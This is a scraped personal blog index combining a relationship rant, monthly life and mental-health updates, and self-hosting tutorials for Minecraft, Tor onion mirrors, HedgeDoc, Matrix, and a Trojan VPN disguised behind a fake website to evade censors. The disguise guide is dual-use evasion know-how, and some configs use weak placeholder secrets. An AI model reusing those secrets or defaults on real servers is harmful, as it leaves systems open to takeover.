didn\u0026rsquo;t even show interest about being friends, which is again totally fine. But I\u0026rsquo;m just so baffeled by all of this.\nSo\u0026hellip; yea. This last \u0026ldquo;thing\u0026rdquo;, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. I do think I need to take a break from trying to get into a relationship. I\u0026rsquo;ve been hurt a lot by the second one, and this was just confusing. In her defence she was an amazing person. Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! I can\u0026rsquo;t just say the good stuff though. She was definitly a bit self-centered. It\u0026rsquo;s funny how she told me that \u0026ldquo;people say I\u0026rsquo;m so proud in a negative way, but anyone who talks with me knows I\u0026rsquo;m not like that\u0026rdquo;. Which is true, she wasn\u0026rsquo;t proud, the correct term is self-centered, or \u0026ldquo;narcissistic\u0026rdquo; if you will, which I don\u0026rsquo;t neceserrialy think is bad, but it is definitly an orange/yellow flag.\nOne thing I know is that I do wish her and whoever she dates the best! \u0026lt;3 And that I would be ok to stay friends with her, but since I\u0026rsquo;m hurt, I will be much colder. Sorry. :) And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. Fast progression ends like this? But then maybe we never progressed? I don\u0026rsquo;t know.\nWell. I don\u0026rsquo;t know what\u0026rsquo;s gonna happen next, but I\u0026rsquo;m going to just live my life and have fun. Aaaaaaaand maybe not worry about being single? Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won\u0026rsquo;t be alone? Who knows? haha.\nP.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I\u0026rsquo;m worth more than that. :) In my therapy session I remembered that in each of these so called \u0026ldquo;not dates\u0026rdquo; we had a conversation about \u0026ldquo;her\u0026rdquo;, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA\u0026#43;\u0026#43;dKrn \u0026#43;rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns pl\u0026#43;tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ\u0026#43;pBdSu0tCU4flVcDiTagVUE0hId8 LC/unRH9o1S/iLLM4Fhao7Aifxr\u0026#43;lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y Bq942gP8J14AnhZfss7QNY65dQV\u0026#43;h4WH\u0026#43;nnNELB0j9ekB2kEOdz3HzrbelKRdiOW vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo 6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo 9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea\u0026#43;6oBIiUF8j\u0026#43; SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= =lM4c -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md.asc gpg --verify relationships.md.asc relationships.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/","summary":"\u003cblockquote\u003e\n\u003cp\u003eNotice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person?\nSo do I!\nI think I\u0026rsquo;m actually really good at making friends with people.\nLike you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\u003c/p\u003e","title":"Relationships"},{"content":"I started the month by finalizing my draft for Conext Student workshop. Let\u0026rsquo;s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I\u0026rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.\nI did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too!\nSurprise surprize, the notification did not come and it\u0026rsquo;s the last day of the month. Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. I\u0026rsquo;ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October\u0026hellip; Drat!\nI will probably do more literature review this last day of the month, and start working on the code base from next month. I should do a lot more literature review to be caught up with whatever that\u0026rsquo;s been done so far.\nMy social life has been much more exciting too. I\u0026rsquo;ve been socializing a lot more and have made many new friends. Some other exciting things have also been hapening that I don\u0026rsquo;t have the courage to write about now. ;) Buuuuuut\u0026hellip; I will probably write about them at some point if things go the way I hope theuy would. Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)\nAnd with that, that\u0026rsquo;s my September in a nutshell. I will probably start writing through the month and then turn the draft into a post from now on. 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I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:\nfailed to register layer: ... no space left on device Client saying: “Outdated client, please use 1.21.9 Pre-Release 2” Wanting config in a neat .env and no whitelist Here’s exactly what I did.\nFolder layout ~/minecraft/ ├─ docker-compose.yml ├─ .env └─ plugins/ .env (secrets \u0026amp; knobs) Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.\n# Minecraft server configuration EULA=TRUE TYPE=PAPER VERSION=LATEST MEMORY=4G USE_AIKAR_FLAGS=true # RCON (remote console) ENABLE_RCON=true RCON_PASSWORD=superSecretPassword123 I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.\ndocker-compose.yml services: mc: image: itzg/minecraft-server:latest container_name: mc restart: unless-stopped ports: - \u0026#34;25565:25565\u0026#34; # Java - \u0026#34;19132:19132/udp\u0026#34; # Bedrock via Geyser plugin env_file: - .env volumes: - mc-data:/data - ./plugins:/plugins:ro volumes: mc-data: {} The version: key in Compose is obsolete now, so I dropped it.\nAdd Geyser (and optional Floodgate) as plugins mkdir -p ~/minecraft/plugins cd ~/minecraft/plugins # Geyser (Spigot/Paper) wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot -O Geyser-Spigot.jar # Floodgate (optional: Bedrock accounts without Java linking) wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot -O Floodgate-Spigot.jar Start it up:\ndocker compose up -d On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.\nHit a wall: /var ran out of space Docker stores layers at /var/lib/docker by default. My /var LV was tiny:\n/dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var Quick cleanup docker system df docker system prune -f docker builder prune -af sudo apt-get clean sudo journalctl --vacuum-size=100M If that’s not enough, you have two good options:\nOption A — Move Docker’s data off /var sudo systemctl stop docker sudo mkdir -p /home/docker sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ echo \u0026#39;{ \u0026#34;data-root\u0026#34;: \u0026#34;/home/docker\u0026#34; }\u0026#39; | sudo tee /etc/docker/daemon.json sudo systemctl start docker docker info | grep \u0026#34;Docker Root Dir\u0026#34; If all looks good, free the old space:\nsudo rm -rf /var/lib/docker/* Option B — Grow /var (LVM) Check free space in the VG:\nsudo vgdisplay # look for \u0026#34;Free PE / Size\u0026#34; If available, extend /var by +5G:\nsudo lvextend -L +5G /dev/mapper/ubuntu--vg-var sudo resize2fs /dev/mapper/ubuntu--vg-var The version mismatch: pre-release vs stable My logs showed:\nStarting minecraft server version 1.21.9 Pre-Release 2 That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:\nEnsure .env has: VERSION=LATEST_RELEASE Recreate: docker compose down docker compose pull docker compose up -d Verify: docker logs mc | grep \u0026#34;Starting minecraft server version\u0026#34; # -\u0026gt; Starting minecraft server version 1.21.1 (example) Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).\nNo whitelist Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:\ndocker exec -it mc rcon-cli \u0026#34;op YourJavaIGN\u0026#34; (or edit /data/ops.json).\nBackup \u0026amp; updates World/data live under the mc-data volume → back up /data regularly. Update cleanly: docker compose pull \u0026amp;\u0026amp; docker compose up -d Watch space: watch -n5 \u0026#39;df -h /var; docker system df\u0026#39; TL;DR Put Geyser/Floodgate jars in ./plugins and expose 19132/udp. Keep configs in .env. Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM. Verify version in logs after each change. Happy block-breaking! 🧱🚀\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM jSrrmBAAuVoSvB3tRIzD\u0026#43;N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV 0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw 7p/hYijX0vGJ8\u0026#43;WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA JWQAyEUu3Vx/U0BnN6R9Lne\u0026#43;5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 OzvAT5XXRS5Q6Udc7Nsa9T/OYG\u0026#43;elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz\u0026#43;UbLDz g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r NrClzg0Vujk/3zP/6yhCL7I0SwQ\u0026#43;NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl\u0026#43;LNOWXf/gomXH6Tqm9vnWr/aX sczdH6N2E0\u0026#43;7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= =NmxL -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc gpg --verify minecraft_server.md.asc minecraft_server.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/","summary":"How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.","title":"Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases"},{"content":" TL;DR — The site is built once (Hugo project), published twice:\nOnion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.\nInstall \u0026amp; configure Tor (Debian/Ubuntu):\nsudo apt update \u0026amp;\u0026amp; sudo apt install -y tor sudoedit /etc/tor/torrc Add:\nHiddenServiceDir /var/lib/tor/hidden_site/ HiddenServicePort 80 127.0.0.1:3301 Make sure the directory is owned by Tor’s user and private:\nsudo mkdir -p /var/lib/tor/hidden_site sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site sudo chmod 700 /var/lib/tor/hidden_site Important: use the right systemd unit:\n# validate as the Tor user sudo -u debian-tor tor -f /etc/tor/torrc --verify-config # (re)start the real service sudo systemctl enable --now tor@default sudo systemctl restart tor@default Get the onion address:\nsudo cat /var/lib/tor/hidden_site/hostname Quick check (do remote DNS via SOCKS):\ncurl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://$(sudo cat /var/lib/tor/hidden_site/hostname)\u0026#34; 2) Nginx for the onion (localhost-only) I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.\n/etc/nginx/sites-available/onion-blog:\nserver { listen 127.0.0.1:3301 default_server; server_name \u0026lt;your-56-char\u0026gt;.onion 127.0.0.1 localhost; # keep onion simple; no HSTS/redirects here add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; # (optional) strict CSP so nothing leaks to clearnet # add_header Content-Security-Policy \u0026#34;default-src \u0026#39;self\u0026#39;; img-src \u0026#39;self\u0026#39; data:; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39;; script-src \u0026#39;self\u0026#39;\u0026#34; always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Enable/reload:\nsudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \\.onion$ (note the space after ~*).\n3) Hugo + PaperMod setup (and version bumps) PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).\n# install Hugo extended (example) VER=0.146.0 cd /tmp wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz sudo mv hugo /usr/local/bin/hugo hugo version # should say \u0026#34;extended\u0026#34; and \u0026gt;= 0.146.0 Create the site and theme:\nsudo mkdir -p /srv/hugo \u0026amp;\u0026amp; sudo chown -R \u0026#34;$USER\u0026#34;:\u0026#34;$USER\u0026#34; /srv/hugo cd /srv/hugo hugo new site mysite cd mysite git init git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod Config updates: in newer Hugo, paginate is deprecated → use:\n# config/_default/hugo.toml title = \u0026#34;My Blog\u0026#34; theme = \u0026#34;PaperMod\u0026#34; enableRobotsTXT = true [pagination] pagerSize = 10 [params] defaultTheme = \u0026#34;auto\u0026#34; showReadingTime = true showPostNavLinks = true showBreadCrumbs = true showCodeCopyButtons = true I added per-environment overrides so I can build two outputs with different baseURLs:\n# config/clearnet/hugo.toml baseURL = \u0026#34;https://blog.alipourimjourneys.ir/\u0026#34; # config/onion/hugo.toml baseURL = \u0026#34;http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/\u0026#34; 4) Dual builds (clearnet + onion) and one-command deploy I publish the same content twice—once for each base URL and docroot:\ncd /srv/hugo/mysite # clearnet build (served over HTTPS) hugo --minify --environment clearnet -d public-clearnet # onion build (served via Tor) hugo --minify --environment onion -d public-onion sudo systemctl reload nginx Helper script I use:\nsudo tee /usr/local/bin/build-both \u0026gt;/dev/null \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/usr/bin/env bash set -euo pipefail cd /srv/hugo/mysite hugo --minify --environment clearnet -d public-clearnet hugo --minify --environment onion -d public-onion sudo systemctl reload nginx echo \u0026#34;Deployed both at $(date)\u0026#34; EOF sudo chmod +x /usr/local/bin/build-both While editing, I sometimes auto-rebuild on file save:\nsudo apt install -y entr cd /srv/hugo/mysite find content layouts assets static config -type f | entr -r build-both 5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01) Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):\nsudo snap install --classic certbot sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:\n/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem Clearnet Nginx vhosts:\n# HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway) server { listen 80; listen [::]:80; server_name blog.alipourimjourneys.ir; return 301 https://blog.alipourimjourneys.ir$request_uri; } # HTTPS origin (behind Cloudflare) server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name blog.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem; # HSTS on clearnet only add_header Strict-Transport-Security \u0026#34;max-age=31536000; includeSubDomains; preload\u0026#34; always; # Help Tor Browser discover the onion mirror (safe on clearnet) add_header Onion-Location \u0026#34;http://\u0026lt;your-56-char\u0026gt;.onion$request_uri\u0026#34; always; root /srv/hugo/mysite/public-clearnet; index index.html; location / { try_files $uri $uri/ /index.html; } } Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.\n6) Troubleshooting I ran into (and fixes) Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor. Permissions: HiddenServiceDir must be owned by debian-tor and mode 700. Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://\u0026lt;onion\u0026gt;/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://\u0026lt;onion\u0026gt;:3301/. Curl \u0026amp; .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: curl -I --socks5-hostname 127.0.0.1:9050 \u0026#34;http://\u0026lt;onion\u0026gt;/\u0026#34; Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server). Regex in server_name: if you use it, write server_name ~* \\.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space. PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate → [pagination].pagerSize. Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin. 7) “Not secure” in Tor Browser? That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).\n8) Day-to-day workflow Create content: hugo new posts/my-first-post.md # then set draft: false Publish both: build-both (Optional) Auto on save: find content layouts assets static config -type f | entr -r build-both (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both. Final notes Clearnet gets HTTPS + HSTS and an Onion-Location header. Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content. Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow. 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Choose a funky web base path like /panel-bananas_42/. Proxy it through Nginx with HTTPS + Basic Auth. Test it at https://panel.example.com/panel-bananas_42/. Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!\nStep 2: Trojan Inbound In 3x-ui, create a Trojan inbound:\nLocal port: 54321 Transport: WebSocket Path: /stealth-path_abcd1234 Security: none Password: \u0026lt;PASSWORD\u0026gt; Step 3: Nginx for VPN Domain (web.example.com) Your Nginx is the gatekeeper. Sample config:\nserver { listen 443 ssl http2; server_name web.example.com; ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; # Fake website at root location / { root /var/www/html; index index.html; } # Real VPN under secret WS path location /stealth-path_abcd1234 { proxy_pass http://127.0.0.1:54321; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; } } Step 4: Firewall Rules Lock things down! Only Cloudflare should reach you:\nufw allow 22/tcp ufw allow 80/tcp ufw allow 443/tcp ufw deny 54321/tcp Step 5: Client Config Trojan URI:\ntrojan://\u0026lt;PASSWORD\u0026gt;@web.example.com:443?type=ws\u0026amp;security=tls\u0026amp;host=web.example.com\u0026amp;path=%2Fstealth-path_abcd1234\u0026amp;sni=web.example.com#MyStealthVPN iOS clients: Shadowrocket, Stash, FoXray\nAndroid clients: v2rayNG, Clash Meta, NekoBox\nDebugging Time (a.k.a. “Why the heck doesn’t it work?!”) Symptom: 520 Unknown Error (Cloudflare) Likely cause: Nginx couldn’t talk to Trojan. Check Nginx error log: tail -n 50 /var/log/nginx/error.log If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan. Symptom: 526 Invalid SSL certificate Cloudflare → Nginx cert mismatch. Run: openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts Make sure CN = web.example.com. If not, fix your cert. Symptom: Blank page on panel Check if the base path matches exactly (case-sensitive, slash-sensitive). Watch for sneaky trailing spaces! Test locally: curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ Symptom: Client won’t connect Run a WebSocket test: curl -i -k -H \u0026#34;Connection: Upgrade\u0026#34; -H \u0026#34;Upgrade: websocket\u0026#34; https://web.example.com/stealth-path_abcd1234 Expect 101 Switching Protocols. If not, check Nginx config. Symptom: Censor still blocks you Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?\n→ They’ll find your origin IP. Use a second VPS or lock those ports down. Did you use an obvious path like /ws?\n→ Use a random-looking one like /cdn-assets-329df/. Pro Tips \u0026amp; Fun Tricks Serve a fake blog or portfolio at root so your domain looks legit. Rotate WebSocket paths occasionally. Use Cloudflare Page Rules to disable Rocket Loader \u0026amp; Minify for your VPN domain. Make friends with your Nginx error.log — it will roast you but it tells the truth. Conclusion By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:\nLooks like normal HTTPS. Hides your origin IP. Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. 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I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life!\nOverall not the most productive month, but one reason for it is that I have\u0026rsquo;t really had a real vacation in a long time. I will be taking a 10 day vacation next month just to reset, and gain back my power. I cross my fingers for the month ahead!\nMy social life has been becoming better too. I\u0026rsquo;ve been trying to attend more ZiS events to meet people, make new connections, and to have fun! My depression is a serious issue. I also have anxiety disorder that I\u0026rsquo;m talking with my therapist about. I will most likely start taking SSRIs once again. Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. I\u0026rsquo;m really glad I was able to recover, though it was not easy at all, it did work out.\nI do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. 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Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\nPrerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc \u0026amp;\u0026amp; cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with:\nopenssl rand -base64 32 3. Create docker-compose.yml version: \u0026#34;3.9\u0026#34; services: db: image: postgres:16 environment: POSTGRES_USER: hedgedoc POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} POSTGRES_DB: hedgedoc volumes: - db:/var/lib/postgresql/data restart: unless-stopped hedgedoc: image: quay.io/hedgedoc/hedgedoc:1.10.2 depends_on: - db environment: CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc CMD_DOMAIN: ${HD_DOMAIN} CMD_PROTOCOL_USESSL: \u0026#34;true\u0026#34; CMD_URL_ADDPORT: \u0026#34;false\u0026#34; CMD_PORT: \u0026#34;3000\u0026#34; CMD_EMAIL: \u0026#34;true\u0026#34; CMD_ALLOW_EMAIL_REGISTER: \u0026#34;false\u0026#34; volumes: - uploads:/hedgedoc/public/uploads ports: - \u0026#34;127.0.0.1:3000:3000\u0026#34; restart: unless-stopped volumes: db: uploads: Bring it up:\ndocker compose up -d 4. Get a Let’s Encrypt certificate Request a cert with a DNS challenge:\nsudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email Add the TXT record certbot asks for, wait for DNS to propagate, then continue.\nCertificates will be in:\n/etc/letsencrypt/live/notes.alipourimjourneys.ir/ 5. Configure Nginx Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:\nserver { server_name notes.alipourimjourneys.ir; listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { server_name notes.alipourimjourneys.ir; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } Enable the config and reload Nginx:\nsudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 6. Create users Because we disabled self-registration, create accounts manually:\ndocker compose exec hedgedoc ./bin/manage_users --add alice@example.com You’ll be prompted for a password.\nTo reset a password later:\ndocker compose exec hedgedoc ./bin/manage_users --reset alice@example.com 7. Done! Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉\nExtras:\nBackups: dump the PostgreSQL database and save the uploads volume. Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest \u0026amp;\u0026amp; docker compose up -d. Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. 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Think \u003cem\u003eGoogle Docs for Markdown\u003c/em\u003e: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA Linux server with \u003cstrong\u003eDocker\u003c/strong\u003e and \u003cstrong\u003eDocker Compose\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA domain name pointing to your server (e.g. \u003ccode\u003enotes.alipourimjourneys.ir\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx\u003c/strong\u003e installed for reverse proxying\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCertbot\u003c/strong\u003e for Let’s Encrypt certificates\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-create-the-project-directory\"\u003e1. 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The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.\nWhat I\u0026rsquo;m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\nPrereqs DNS A/AAAA: matrix.example.com → your server (v4/v6) rtc.example.com → your server (v4/v6) Certificates: matrix.example.com and rtc.example.com via Let’s Encrypt on the host Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets \u0026amp; UDP work without interference. UFW / firewall open: 80/tcp, 443/tcp 8448/tcp (Matrix federation) 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS) LiveKit: 7881/tcp and 50100–50200/udp 